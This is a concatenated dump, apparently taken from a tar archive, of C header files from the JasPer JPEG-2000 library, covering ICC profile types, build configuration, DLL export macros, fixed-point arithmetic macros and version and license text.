JAS_ICC_TYPE_PROFSEQDESC 0x70736571 /* profile sequence description */ #define JAS_ICC_TYPE_RESPCURVSET16 0x72637332 /* response curve set 16 */ #define JAS_ICC_TYPE_SF32 0x73663332 /* signed 32-bit fixed-point */ #define JAS_ICC_TYPE_SCRNG 0x7363726e /* screening */ #define JAS_ICC_TYPE_SIG 0x73696720 /* signature */ #define JAS_ICC_TYPE_TXTDESC 0x64657363 /* text description */ #define JAS_ICC_TYPE_TXT 0x74657874 /* text */ #define JAS_ICC_TYPE_UF32 0x75663332 /* unsigned 32-bit fixed-point */ #define JAS_ICC_TYPE_UCRBG 0x62666420 /* */ #define JAS_ICC_TYPE_UI16 0x75693136 /* */ #define JAS_ICC_TYPE_UI32 0x75693332 /* */ #define JAS_ICC_TYPE_UI8 0x75693038 /* */ #define JAS_ICC_TYPE_UI64 0x75693634 /* */ #define JAS_ICC_TYPE_VIEWCOND 0x76696577 /* */ #define JAS_ICC_TYPE_XYZ 0x58595a20 /* XYZ */ typedef uint_fast8_t jas_iccuint8_t; typedef uint_fast16_t jas_iccuint16_t; typedef uint_fast32_t jas_iccuint32_t; typedef int_fast32_t jas_iccsint32_t; typedef int_fast32_t jas_iccs15fixed16_t; typedef uint_fast32_t jas_iccu16fixed16_t; typedef uint_fast64_t jas_iccuint64_t; typedef uint_fast32_t jas_iccsig_t; typedef jas_iccsig_t jas_icctagsig_t; typedef jas_iccsig_t jas_icctagtype_t; typedef jas_iccsig_t jas_iccattrname_t; /* Date/time type. */ typedef struct { jas_iccuint16_t year; jas_iccuint16_t month; jas_iccuint16_t day; jas_iccuint16_t hour; jas_iccuint16_t min; jas_iccuint16_t sec; } jas_icctime_t; /* XYZ type. */ typedef struct { jas_iccs15fixed16_t x; jas_iccs15fixed16_t y; jas_iccs15fixed16_t z; } jas_iccxyz_t; /* Curve type. */ typedef struct { jas_iccuint32_t numents; jas_iccuint16_t *ents; } jas_icccurv_t; /* Text description type. */ typedef struct { jas_iccuint32_t asclen; char *ascdata; /* ASCII invariant description */ jas_iccuint32_t uclangcode; /* Unicode language code */ jas_iccuint32_t uclen; /* Unicode localizable description count */ jas_uchar *ucdata; /* Unicode localizable description */ jas_iccuint16_t sccode; /* ScriptCode code */ jas_iccuint8_t maclen; /* Localizable Macintosh description count */ jas_uchar macdata[69]; /* Localizable Macintosh description */ } jas_icctxtdesc_t; /* Text type. */ typedef struct { char *string; /* ASCII character string */ } jas_icctxt_t; typedef struct { jas_iccuint8_t numinchans; jas_iccuint8_t numoutchans; jas_iccsint32_t e[3][3]; jas_iccuint8_t clutlen; jas_iccuint8_t *clut; jas_iccuint16_t numintabents; jas_iccuint8_t **intabs; jas_iccuint8_t *intabsbuf; jas_iccuint16_t numouttabents; jas_iccuint8_t **outtabs; jas_iccuint8_t *outtabsbuf; } jas_icclut8_t; typedef struct { jas_iccuint8_t numinchans; jas_iccuint8_t numoutchans; jas_iccsint32_t e[3][3]; jas_iccuint8_t clutlen; jas_iccuint16_t *clut; jas_iccuint16_t numintabents; jas_iccuint16_t **intabs; jas_iccuint16_t *intabsbuf; jas_iccuint16_t numouttabents; jas_iccuint16_t **outtabs; jas_iccuint16_t *outtabsbuf; } jas_icclut16_t; struct jas_iccattrval_s; typedef struct { void (*destroy)(struct jas_iccattrval_s *); int (*copy)(struct jas_iccattrval_s *, struct jas_iccattrval_s *); int (*input)(struct jas_iccattrval_s *, jas_stream_t *, int); int (*output)(struct jas_iccattrval_s *, jas_stream_t *); int (*getsize)(struct jas_iccattrval_s *); void (*dump)(struct jas_iccattrval_s *, FILE *); } jas_iccattrvalops_t; /* Attribute value type (type and value information). */ typedef struct jas_iccattrval_s { int refcnt; /* reference count */ jas_iccsig_t type; /* type */ jas_iccattrvalops_t *ops; /* type-dependent operations */ union { jas_iccxyz_t xyz; jas_icccurv_t curv; jas_icctxtdesc_t txtdesc; jas_icctxt_t txt; jas_icclut8_t lut8; jas_icclut16_t lut16; } data; /* value */ } jas_iccattrval_t; /* Header type. */ typedef struct { jas_iccuint32_t size; /* profile size */ jas_iccsig_t cmmtype; /* CMM type signature */ jas_iccuint32_t version; /* profile version */ jas_iccsig_t clas; /* profile/device class signature */ jas_iccsig_t colorspc; /* color space of data */ jas_iccsig_t refcolorspc; /* profile connection space */ jas_icctime_t ctime; /* creation time */ jas_iccsig_t magic; /* profile file signature */ jas_iccsig_t platform; /* primary platform */ jas_iccuint32_t flags; /* profile flags */ jas_iccsig_t maker; /* device manufacturer signature */ jas_iccsig_t model; /* device model signature */ jas_iccuint64_t attr; /* device setup attributes */ jas_iccsig_t intent; /* rendering intent */ jas_iccxyz_t illum; /* illuminant */ jas_iccsig_t creator; /* profile creator signature */ } jas_icchdr_t; typedef struct { jas_iccsig_t name; jas_iccattrval_t *val; } jas_iccattr_t; typedef struct { int numattrs; int maxattrs; jas_iccattr_t *attrs; } jas_iccattrtab_t; typedef struct jas_icctagtabent_s { jas_iccuint32_t tag; jas_iccuint32_t off; jas_iccuint32_t len; void *data; struct jas_icctagtabent_s *first; } jas_icctagtabent_t; typedef struct { jas_iccuint32_t numents; jas_icctagtabent_t *ents; } jas_icctagtab_t; /* ICC profile type. */ typedef struct { jas_icchdr_t hdr; jas_icctagtab_t tagtab; jas_iccattrtab_t *attrtab; } jas_iccprof_t; typedef struct { jas_iccuint32_t type; jas_iccattrvalops_t ops; } jas_iccattrvalinfo_t; JAS_DLLEXPORT jas_iccprof_t *jas_iccprof_load(jas_stream_t *in); JAS_DLLEXPORT int jas_iccprof_save(jas_iccprof_t *prof, jas_stream_t *out); JAS_DLLEXPORT void jas_iccprof_destroy(jas_iccprof_t *prof); JAS_DLLEXPORT jas_iccattrval_t *jas_iccprof_getattr(jas_iccprof_t *prof, jas_iccattrname_t name); JAS_DLLEXPORT int jas_iccprof_setattr(jas_iccprof_t *prof, jas_iccattrname_t name, jas_iccattrval_t *val); JAS_DLLEXPORT void jas_iccprof_dump(jas_iccprof_t *prof, FILE *out); JAS_DLLEXPORT jas_iccprof_t *jas_iccprof_copy(jas_iccprof_t *prof); JAS_DLLEXPORT int jas_iccprof_gethdr(jas_iccprof_t *prof, jas_icchdr_t *hdr); JAS_DLLEXPORT int jas_iccprof_sethdr(jas_iccprof_t *prof, jas_icchdr_t *hdr); JAS_DLLEXPORT void jas_iccattrval_destroy(jas_iccattrval_t *attrval); JAS_DLLEXPORT void jas_iccattrval_dump(jas_iccattrval_t *attrval, FILE *out); JAS_DLLEXPORT int jas_iccattrval_allowmodify(jas_iccattrval_t **attrval); JAS_DLLEXPORT jas_iccattrval_t *jas_iccattrval_clone(jas_iccattrval_t *attrval); JAS_DLLEXPORT jas_iccattrval_t *jas_iccattrval_create(jas_iccuint32_t type); JAS_DLLEXPORT void jas_iccattrtab_dump(jas_iccattrtab_t *attrtab, FILE *out); extern jas_uchar jas_iccprofdata_srgb[]; extern int jas_iccprofdata_srgblen; extern jas_uchar jas_iccprofdata_sgray[]; extern int jas_iccprofdata_sgraylen; JAS_DLLEXPORT jas_iccprof_t *jas_iccprof_createfrombuf(jas_uchar *buf, int len); JAS_DLLEXPORT jas_iccprof_t *jas_iccprof_createfromclrspc(int clrspc); #ifdef __cplusplus } #endif #endif jasper/jas_config.h 0000644 00000003024 15246445046 0010314 0 ustar 00 #ifndef JAS_CONFIG_H #define JAS_CONFIG_H #define JAS_DLL 1 #include <jasper/jas_dll.h> #define JAS_CONFIGURE #if defined(_MSC_VER) #undef JAS_CONFIGURE #endif #if defined(JAS_CONFIGURE) /* This preprocessor symbol identifies the version of JasPer. */ #define JAS_VERSION "2.0.14" #define JAS_HAVE_FCNTL_H 1 /* #undef JAS_HAVE_IO_H */ #define JAS_HAVE_UNISTD_H 1 /* #undef JAS_HAVE_WINDOWS_H */ #define JAS_HAVE_SYS_TIME_H 1 #define JAS_HAVE_SYS_TYPES_H 1 #define JAS_HAVE_GETTIMEOFDAY 1 #define JAS_HAVE_GETRUSAGE 1 #define JAS_HAVE_GL_GLUT_H 1 /* #undef JAS_HAVE_GLUT_H */ #define JAS_HAVE_SNPRINTF 1 #else /* We are not using a configure-based build. */ /* This probably means we are building with MSVC under Windows. */ #define JAS_VERSION "unknown" #define JAS_HAVE_FCNTL_H 1 #define JAS_HAVE_IO_H 1 #undef JAS_HAVE_UNISTD_H #define JAS_HAVE_WINDOWS_H 1 #undef JAS_HAVE_SYS_TIME_H #define JAS_HAVE_SYS_TYPES_H 1 #undef JAS_HAVE_GETTIMEOFDAY #undef JAS_HAVE_GETRUSAGE #undef JAS_HAVE_SNPRINTF // I don't think that this should be needed anymore. #if 1 #ifndef __cplusplus #undef inline #define inline __inline #endif #endif #define ssize_t long long #endif #if !defined(JAS_DEC_DEFAULT_MAX_SAMPLES) #define JAS_DEC_DEFAULT_MAX_SAMPLES 0 #endif #if defined(__GNUC__) && !defined(__clang__) #define JAS_ATTRIBUTE_DISABLE_USAN \ __attribute__((no_sanitize_undefined)) #elif defined(__clang__) #define JAS_ATTRIBUTE_DISABLE_USAN \ __attribute__((no_sanitize("undefined"))) #else #define JAS_ATTRIBUTE_DISABLE_USAN #endif #endif jasper/jas_dll.h 0000644 00000001173 15246445046 0007625 0 ustar 00 #ifndef JAS_DLL_H #define JAS_DLL_H #if defined(JAS_DLL) #if defined(_WIN32) #if defined(JAS_BUILDING_DLL) #define JAS_DLLEXPORT __declspec(dllexport) #else #define JAS_DLLEXPORT __declspec(dllimport) #endif #define JAS_DLLLOCAL #elif defined(JAS_HAVE_VISIBILITY) #if defined(JAS_BUILDING_DLL) #define JAS_DLLEXPORT __attribute__ ((visibility("default"))) #define JAS_DLLLOCAL __attribute__ ((visibility("hidden"))) #else #define JAS_DLLEXPORT #define JAS_DLLLOCAL #endif #else #define JAS_DLLEXPORT #define JAS_DLLLOCAL #endif #else #define JAS_DLLEXPORT #define JAS_DLLLOCAL #endif #endif jasper/jas_fix.h 0000644 00000032055 15246445046 0007643 0 ustar 00 /* * Copyright (c) 1999-2000 Image Power, Inc. and the University of * British Columbia. * Copyright (c) 2001-2002 Michael David Adams. * All rights reserved. */ /* __START_OF_JASPER_LICENSE__ * * JasPer License Version 2.0 * * Copyright (c) 2001-2006 Michael David Adams * Copyright (c) 1999-2000 Image Power, Inc. * Copyright (c) 1999-2000 The University of British Columbia * * All rights reserved. * * Permission is hereby granted, free of charge, to any person (the * "User") obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without restriction, * including without limitation the rights to use, copy, modify, merge, * publish, distribute, and/or sell copies of the Software, and to permit * persons to whom the Software is furnished to do so, subject to the * following conditions: * * 1. The above copyright notices and this permission notice (which * includes the disclaimer below) shall be included in all copies or * substantial portions of the Software. * * 2. The name of a copyright holder shall not be used to endorse or * promote products derived from the Software without specific prior * written permission. * * THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS * LICENSE. NO USE OF THE SOFTWARE IS AUTHORIZED HEREUNDER EXCEPT UNDER * THIS DISCLAIMER. THE SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS * "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING * BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A * PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN NO * EVENT SHALL THE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL * INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING * FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION * WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. NO ASSURANCES ARE * PROVIDED BY THE COPYRIGHT HOLDERS THAT THE SOFTWARE DOES NOT INFRINGE * THE PATENT OR OTHER INTELLECTUAL PROPERTY RIGHTS OF ANY OTHER ENTITY. * EACH COPYRIGHT HOLDER DISCLAIMS ANY LIABILITY TO THE USER FOR CLAIMS * BROUGHT BY ANY OTHER ENTITY BASED ON INFRINGEMENT OF INTELLECTUAL * PROPERTY RIGHTS OR OTHERWISE. AS A CONDITION TO EXERCISING THE RIGHTS * GRANTED HEREUNDER, EACH USER HEREBY ASSUMES SOLE RESPONSIBILITY TO SECURE * ANY OTHER INTELLECTUAL PROPERTY RIGHTS NEEDED, IF ANY. THE SOFTWARE * IS NOT FAULT-TOLERANT AND IS NOT INTENDED FOR USE IN MISSION-CRITICAL * SYSTEMS, SUCH AS THOSE USED IN THE OPERATION OF NUCLEAR FACILITIES, * AIRCRAFT NAVIGATION OR COMMUNICATION SYSTEMS, AIR TRAFFIC CONTROL * SYSTEMS, DIRECT LIFE SUPPORT MACHINES, OR WEAPONS SYSTEMS, IN WHICH * THE FAILURE OF THE SOFTWARE OR SYSTEM COULD LEAD DIRECTLY TO DEATH, * PERSONAL INJURY, OR SEVERE PHYSICAL OR ENVIRONMENTAL DAMAGE ("HIGH * RISK ACTIVITIES"). THE COPYRIGHT HOLDERS SPECIFICALLY DISCLAIM ANY * EXPRESS OR IMPLIED WARRANTY OF FITNESS FOR HIGH RISK ACTIVITIES. * * __END_OF_JASPER_LICENSE__ */ /* * Fixed-Point Number Class * * $Id$ */ #ifndef JAS_FIX_H #define JAS_FIX_H /******************************************************************************\ * Includes. \******************************************************************************/ /* The configuration header file should be included first. */ #include <jasper/jas_config.h> #include <stdio.h> #include <stdlib.h> #include <math.h> #include <jasper/jas_types.h> #include <jasper/jas_debug.h> #ifdef __cplusplus extern "C" { #endif /******************************************************************************\ * Constants. \******************************************************************************/ /* The representation of the value zero. */ #define JAS_FIX_ZERO(fix_t, fracbits) \ JAS_CAST(fix_t, 0) /* The representation of the value one. */ #define JAS_FIX_ONE(fix_t, fracbits) \ (JAS_CAST(fix_t, 1) << (fracbits)) /* The representation of the value one half. */ #define JAS_FIX_HALF(fix_t, fracbits) \ (JAS_CAST(fix_t, 1) << ((fracbits) - 1)) /******************************************************************************\ * Conversion operations. \******************************************************************************/ /* Convert an int to a fixed-point number. */ #define JAS_INTTOFIX(fix_t, fracbits, x) \ JAS_CAST(fix_t, (x) << (fracbits)) /* Convert a fixed-point number to an int. */ #define JAS_FIXTOINT(fix_t, fracbits, x) \ JAS_CAST(int, (x) >> (fracbits)) /* Convert a fixed-point number to a double. */ #define JAS_FIXTODBL(fix_t, fracbits, x) \ (JAS_CAST(double, x) / (JAS_CAST(fix_t, 1) << (fracbits))) /* Convert a double to a fixed-point number. */ #define JAS_DBLTOFIX(fix_t, fracbits, x) \ JAS_CAST(fix_t, ((x) * JAS_CAST(double, JAS_CAST(fix_t, 1) << (fracbits)))) /******************************************************************************\ * Basic arithmetic operations. * All other arithmetic operations are synthesized from these basic operations. * There are three macros for each type of arithmetic operation. * One macro always performs overflow/underflow checking, one never performs * overflow/underflow checking, and one is generic with its behavior * depending on compile-time flags. * Only the generic macros should be invoked directly by application code. \******************************************************************************/ /* Calculate the sum of two fixed-point numbers. */ #if !defined(DEBUG_OVERFLOW) #define JAS_FIX_ADD JAS_FIX_ADD_FAST #else #define JAS_FIX_ADD JAS_FIX_ADD_OFLOW #endif /* Calculate the sum of two fixed-point numbers without overflow checking. */ #define JAS_FIX_ADD_FAST(fix_t, fracbits, x, y) ((x) + (y)) /* Calculate the sum of two fixed-point numbers with overflow checking. */ #define JAS_FIX_ADD_OFLOW(fix_t, fracbits, x, y) \ ((x) >= 0) ? \ (((y) >= 0) ? ((x) + (y) >= 0 || JAS_FIX_OFLOW(), (x) + (y)) : \ ((x) + (y))) : \ (((y) >= 0) ? ((x) + (y)) : ((x) + (y) < 0 || JAS_FIX_OFLOW(), \ (x) + (y))) /* Calculate the product of two fixed-point numbers. */ #if !defined(DEBUG_OVERFLOW) #define JAS_FIX_MUL JAS_FIX_MUL_FAST #else #define JAS_FIX_MUL JAS_FIX_MUL_OFLOW #endif /* Calculate the product of two fixed-point numbers without overflow checking. */ #define JAS_FIX_MUL_FAST(fix_t, fracbits, bigfix_t, x, y) \ JAS_CAST(fix_t, (JAS_CAST(bigfix_t, x) * JAS_CAST(bigfix_t, y)) >> \ (fracbits)) /* Calculate the product of two fixed-point numbers with overflow checking. */ #define JAS_FIX_MUL_OFLOW(fix_t, fracbits, bigfix_t, x, y) \ ((JAS_CAST(bigfix_t, x) * JAS_CAST(bigfix_t, y) >> (fracbits)) == \ JAS_CAST(fix_t, (JAS_CAST(bigfix_t, x) * JAS_CAST(bigfix_t, y) >> \ (fracbits))) ? \ JAS_CAST(fix_t, (JAS_CAST(bigfix_t, x) * JAS_CAST(bigfix_t, y) >> \ (fracbits))) : JAS_FIX_OFLOW()) /* Calculate the product of a fixed-point number and an int. */ #if !defined(DEBUG_OVERFLOW) #define JAS_FIX_MULBYINT JAS_FIX_MULBYINT_FAST #else #define JAS_FIX_MULBYINT JAS_FIX_MULBYINT_OFLOW #endif /* Calculate the product of a fixed-point number and an int without overflow checking. */ #define JAS_FIX_MULBYINT_FAST(fix_t, fracbits, x, y) \ JAS_CAST(fix_t, ((x) * (y))) /* Calculate the product of a fixed-point number and an int with overflow checking. */ #define JAS_FIX_MULBYINT_OFLOW(fix_t, fracbits, x, y) \ JAS_FIX_MULBYINT_FAST(fix_t, fracbits, x, y) /* Calculate the quotient of two fixed-point numbers. */ #if !defined(DEBUG_OVERFLOW) #define JAS_FIX_DIV JAS_FIX_DIV_FAST #else #define JAS_FIX_DIV JAS_FIX_DIV_UFLOW #endif /* Calculate the quotient of two fixed-point numbers without underflow checking. */ #define JAS_FIX_DIV_FAST(fix_t, fracbits, bigfix_t, x, y) \ JAS_CAST(fix_t, (JAS_CAST(bigfix_t, x) << (fracbits)) / (y)) /* Calculate the quotient of two fixed-point numbers with underflow checking. */ #define JAS_FIX_DIV_UFLOW(fix_t, fracbits, bigfix_t, x, y) \ JAS_FIX_DIV_FAST(fix_t, fracbits, bigfix_t, x, y) /* Negate a fixed-point number. */ #if !defined(DEBUG_OVERFLOW) #define JAS_FIX_NEG JAS_FIX_NEG_FAST #else #define JAS_FIX_NEG JAS_FIX_NEG_OFLOW #endif /* Negate a fixed-point number without overflow checking. */ #define JAS_FIX_NEG_FAST(fix_t, fracbits, x) \ (-(x)) /* Negate a fixed-point number with overflow checking. */ /* Yes, overflow is actually possible for two's complement representations, although highly unlikely to occur. */ #define JAS_FIX_NEG_OFLOW(fix_t, fracbits, x) \ (((x) < 0) ? (-(x) > 0 || JAS_FIX_OFLOW(), -(x)) : (-(x))) /* Perform an arithmetic shift left of a fixed-point number. */ #if !defined(DEBUG_OVERFLOW) #define JAS_FIX_ASL JAS_FIX_ASL_FAST #else #define JAS_FIX_ASL JAS_FIX_ASL_OFLOW #endif /* Perform an arithmetic shift left of a fixed-point number without overflow checking. */ #define JAS_FIX_ASL_FAST(fix_t, fracbits, x, n) \ ((x) << (n)) /* Perform an arithmetic shift left of a fixed-point number with overflow checking. */ #define JAS_FIX_ASL_OFLOW(fix_t, fracbits, x, n) \ ((((x) << (n)) >> (n)) == (x) || JAS_FIX_OFLOW(), (x) << (n)) /* Perform an arithmetic shift right of a fixed-point number. */ #if !defined(DEBUG_OVERFLOW) #define JAS_FIX_ASR JAS_FIX_ASR_FAST #else #define JAS_FIX_ASR JAS_FIX_ASR_UFLOW #endif /* Perform an arithmetic shift right of a fixed-point number without underflow checking. */ #define JAS_FIX_ASR_FAST(fix_t, fracbits, x, n) \ ((x) >> (n)) /* Perform an arithmetic shift right of a fixed-point number with underflow checking. */ #define JAS_FIX_ASR_UFLOW(fix_t, fracbits, x, n) \ JAS_FIX_ASR_FAST(fix_t, fracbits, x, n) /******************************************************************************\ * Other basic arithmetic operations. \******************************************************************************/ /* Calculate the difference between two fixed-point numbers. */ #define JAS_FIX_SUB(fix_t, fracbits, x, y) \ JAS_FIX_ADD(fix_t, fracbits, x, JAS_FIX_NEG(fix_t, fracbits, y)) /* Add one fixed-point number to another. */ #define JAS_FIX_PLUSEQ(fix_t, fracbits, x, y) \ ((x) = JAS_FIX_ADD(fix_t, fracbits, x, y)) /* Subtract one fixed-point number from another. */ #define JAS_FIX_MINUSEQ(fix_t, fracbits, x, y) \ ((x) = JAS_FIX_SUB(fix_t, fracbits, x, y)) /* Multiply one fixed-point number by another. */ #define JAS_FIX_MULEQ(fix_t, fracbits, bigfix_t, x, y) \ ((x) = JAS_FIX_MUL(fix_t, fracbits, bigfix_t, x, y)) /******************************************************************************\ * Miscellaneous operations. \******************************************************************************/ /* Calculate the absolute value of a fixed-point number. */ #define JAS_FIX_ABS(fix_t, fracbits, x) \ (((x) >= 0) ? (x) : (JAS_FIX_NEG(fix_t, fracbits, x))) /* Is a fixed-point number an integer? */ #define JAS_FIX_ISINT(fix_t, fracbits, x) \ (JAS_FIX_FLOOR(fix_t, fracbits, x) == (x)) /* Get the sign of a fixed-point number. */ #define JAS_FIX_SGN(fix_t, fracbits, x) \ ((x) >= 0 ? 1 : (-1)) /******************************************************************************\ * Relational operations. \******************************************************************************/ /* Compare two fixed-point numbers. */ #define JAS_FIX_CMP(fix_t, fracbits, x, y) \ ((x) > (y) ? 1 : (((x) == (y)) ? 0 : (-1))) /* Less than. */ #define JAS_FIX_LT(fix_t, fracbits, x, y) \ ((x) < (y)) /* Less than or equal. */ #define JAS_FIX_LTE(fix_t, fracbits, x, y) \ ((x) <= (y)) /* Greater than. */ #define JAS_FIX_GT(fix_t, fracbits, x, y) \ ((x) > (y)) /* Greater than or equal. */ #define JAS_FIX_GTE(fix_t, fracbits, x, y) \ ((x) >= (y)) /******************************************************************************\ * Rounding functions. \******************************************************************************/ /* Round a fixed-point number to the nearest integer. */ #define JAS_FIX_ROUND(fix_t, fracbits, x) \ (((x) < 0) ? JAS_FIX_FLOOR(fix_t, fracbits, JAS_FIX_ADD(fix_t, fracbits, \ (x), JAS_FIX_HALF(fix_t, fracbits))) : \ JAS_FIX_NEG(fix_t, fracbits, JAS_FIX_FLOOR(fix_t, fracbits, \ JAS_FIX_ADD(fix_t, fracbits, (-(x)), JAS_FIX_HALF(fix_t, fracbits))))) /* Round a fixed-point number to the nearest integer in the direction of negative infinity (i.e., the floor function). */ #define JAS_FIX_FLOOR(fix_t, fracbits, x) \ ((x) & (~((JAS_CAST(fix_t, 1) << (fracbits)) - 1))) /* Round a fixed-point number to the nearest integer in the direction of zero. */ #define JAS_FIX_TRUNC(fix_t, fracbits, x) \ (((x) >= 0) ? JAS_FIX_FLOOR(fix_t, fracbits, x) : \ JAS_FIX_CEIL(fix_t, fracbits, x)) /******************************************************************************\ * The below macros are for internal library use only. Do not invoke them * directly in application code. \******************************************************************************/ /* Handle overflow. */ #define JAS_FIX_OFLOW() \ jas_eprintf("overflow error: file %s, line %d\n", __FILE__, __LINE__) /* Handle underflow. */ #define JAS_FIX_UFLOW() \ jas_eprintf("underflow error: file %s, line %d\n", __FILE__, __LINE__) #ifdef __cplusplus } #endif #endif jasper/jas_version.h 0000644 00000011517 15246445046 0010542 0 ustar 00 /* * Copyright (c) 1999-2000 Image Power, Inc. and the University of * British Columbia. * Copyright (c) 2001-2003 Michael David Adams. * All rights reserved. */ /* __START_OF_JASPER_LICENSE__ * * JasPer License Version 2.0 * * Copyright (c) 2001-2006 Michael David Adams * Copyright (c) 1999-2000 Image Power, Inc. * Copyright (c) 1999-2000 The University of British Columbia * * All rights reserved. * * Permission is hereby granted, free of charge, to any person (the * "User") obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without restriction, * including without limitation the rights to use, copy, modify, merge, * publish, distribute, and/or sell copies of the Software, and to permit * persons to whom the Software is furnished to do so, subject to the * following conditions: * * 1. The above copyright notices and this permission notice (which * includes the disclaimer below) shall be included in all copies or * substantial portions of the Software. * * 2. The name of a copyright holder shall not be used to endorse or * promote products derived from the Software without specific prior * written permission. * * THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS * LICENSE. NO USE OF THE SOFTWARE IS AUTHORIZED HEREUNDER EXCEPT UNDER * THIS DISCLAIMER. THE SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS * "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING * BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A * PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN NO * EVENT SHALL THE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL * INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING * FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION * WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. NO ASSURANCES ARE * PROVIDED BY THE COPYRIGHT HOLDERS THAT THE SOFTWARE DOES NOT INFRINGE * THE PATENT OR OTHER INTELLECTUAL PROPERTY RIGHTS OF ANY OTHER ENTITY. * EACH COPYRIGHT HOLDER DISCLAIMS ANY LIABILITY TO THE USER FOR CLAIMS * BROUGHT BY ANY OTHER ENTITY BASED ON INFRINGEMENT OF INTELLECTUAL * PROPERTY RIGHTS OR OTHERWISE. AS A CONDITION TO EXERCISING THE RIGHTS * GRANTED HEREUNDER, EACH USER HEREBY ASSUMES SOLE RESPONSIBILITY TO SECURE * ANY OTHER INTELLECTUAL PROPERTY RIGHTS NEEDED, IF ANY. THE SOFTWARE * IS NOT FAULT-TOLERANT AND IS NOT INTENDED FOR USE IN MISSION-CRITICAL * SYSTEMS, SUCH AS THOSE USED IN THE OPERATION OF NUCLEAR FACILITIES, * AIRCRAFT NAVIGATION OR COMMUNICATION SYSTEMS, AIR TRAFFIC CONTROL * SYSTEMS, DIRECT LIFE SUPPORT MACHINES, OR WEAPONS SYSTEMS, IN WHICH * THE FAILURE OF THE SOFTWARE OR SYSTEM COULD LEAD DIRECTLY TO DEATH, * PERSONAL INJURY, OR SEVERE PHYSICAL OR ENVIRONMENTAL DAMAGE ("HIGH * RISK ACTIVITIES"). THE COPYRIGHT HOLDERS SPECIFICALLY DISCLAIM ANY * EXPRESS OR IMPLIED WARRANTY OF FITNESS FOR HIGH RISK ACTIVITIES. * * __END_OF_JASPER_LICENSE__ */ /* * $Id$ */ #ifndef JAS_VERSION_H #define JAS_VERSION_H /* The configuration header file should be included first. */ #include <jasper/jas_config.h> #ifdef __cplusplus extern "C" { #endif /******************************************************************************\ * Constants and types. \******************************************************************************/ #if !defined(JAS_VERSION) /* The version information below should match that specified in the "configure.in" file! */ #define JAS_VERSION "unknown" #endif #define JAS_COPYRIGHT \ "Copyright (c) 2001-2006 Michael David Adams.\n" \ "Copyright (c) 1999-2000 Image Power, Inc. and the University of\n" \ " British Columbia.\n" \ "All rights reserved.\n" #define JAS_NOTES \ "For more information about this software, please visit the following\n" \ "web sites/pages:\n" \ " http://www.ece.uvic.ca/~mdadams/jasper\n" \ " http://www.jpeg.org/software\n" \ "To be added to the (moderated) JasPer software announcements\n" \ "mailing list, send an email to:\n" \ " jasper-announce-subscribe@yahoogroups.com\n" \ "To be added to the (unmoderated) JasPer software discussion\n" \ "mailing list, send an email to:\n" \ " jasper-discussion-subscribe@yahoogroups.com\n" \ "Please send any bug reports to:\n" \ " mdadams@ieee.org\n" /******************************************************************************\ * Functions. \******************************************************************************/ JAS_DLLEXPORT const char *jas_getversion(void); /* Get the version information for the JasPer library. */ /* Note: Since libjasper can be built as a shared library, the version returned by this function may not necessarily correspond to JAS_VERSION. */ #ifdef __cplusplus } #endif #endif jasper/jas_init.h 0000644 00000006661 15246445046 0010024 0 ustar 00 /* * Copyright (c) 2001-2002 Michael David Adams. * All rights reserved. */ /* __START_OF_JASPER_LICENSE__ * * JasPer License Version 2.0 * * Copyright (c) 2001-2006 Michael David Adams * Copyright (c) 1999-2000 Image Power, Inc. * Copyright (c) 1999-2000 The University of British Columbia * * All rights reserved. * * Permission is hereby granted, free of charge, to any person (the * "User") obtaining a copy of this software and associated documentation * files (the "Software"), to deal in the Software without restriction, * including without limitation the rights to use, copy, modify, merge, * publish, distribute, and/or sell copies of the Software, and to permit * persons to whom the Software is furnished to do so, subject to the * following conditions: * * 1. The above copyright notices and this permission notice (which * includes the disclaimer below) shall be included in all copies or * substantial portions of the Software. * * 2. The name of a copyright holder shall not be used to endorse or * promote products derived from the Software without specific prior * written permission. * * THIS DISCLAIMER OF WARRANTY CONSTITUTES AN ESSENTIAL PART OF THIS * LICENSE. NO USE OF THE SOFTWARE IS AUTHORIZED HEREUNDER EXCEPT UNDER * THIS DISCLAIMER. THE SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS * "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING * BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A * PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN NO * EVENT SHALL THE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, OR ANY SPECIAL * INDIRECT OR CONSEQUENTIAL DAMAGES, OR ANY DAMAGES WHATSOEVER RESULTING * FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, * NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION * WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. NO ASSURANCES ARE * PROVIDED BY THE COPYRIGHT HOLDERS THAT THE SOFTWARE DOES NOT INFRINGE * THE 